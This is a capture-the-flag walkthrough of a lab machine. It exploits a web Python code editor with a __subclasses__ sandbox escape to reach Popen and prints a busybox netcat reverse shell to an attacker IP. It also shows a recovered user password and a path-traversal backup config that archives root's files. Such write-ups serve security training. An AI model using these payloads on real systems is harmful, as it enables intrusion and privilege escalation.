Code

Reading Time: 2 min read

#Symlinks#python

Start 22:02 10-07-2025

---

Scope:
10.10.11.62

Recon

Nmap

sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn code.htb

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    syn-ack Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

5000/TCP - HTTP

I tried to run a reverse shell right away but it would not let me:

I went ahead and created an account:

test
test

After a lot of trial and error I found that this nifty piece of code returned a different error:

print((()).__class__.__bases__[0].__subclasses__())

Naturally I was not going to go over it all by hand so I opened up caido to view the request differently:

So in order to quickly count it I inserted the response inside a response.txt file, and wrote a python script to go over the file and find popen:

import json
import re

with open('response.txt') as f:
    data = json.load(f)

output = data['output']

# Match whole class entry, not just class name
class_entries = re.findall(r"<class '([^']+)'>", output)

for idx, name in enumerate(class_entries):
    if 'popen' in name.lower():
        print(f'Found at index: {idx}')
        print(f'Class name: {name}')
        break
else:
    print('popen not found.')

This gave me the following output:

I tried it in the web app but it was off by 1:

raise Exception((()).__class__.__bases__[0].__subclasses__()[317].__name__)

Reverse Shell

Now I had to modify the payload in such a way that it would give me a reverse shell.

raise Exception(str((()) .__class__.__bases__[0].__subclasses__()[317](
    "bash -c 'busybox nc 10.10.14.17 80 -e bash'", shell=True, stdout=-1).communicate()))

I then clicked Run and checked my listener.

Foothold

Shell as app-production

I got a shell, let’s start enum.

user.txt

Enumeration

martin
nafeelswordsmaster

Time to move laterally.

Lateral Movement

Privilege Escalation

Symlinks

So in order to steal all info from root we can use the following script:

# symlink script to steal everything from *root* and zip it up
cat > root-steal.json << EOF
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root/"
]
}
EOF

As soon as we untar the folder we can access anything from root’s directory:

root.txt

---

Finished 22:50 10-07-2025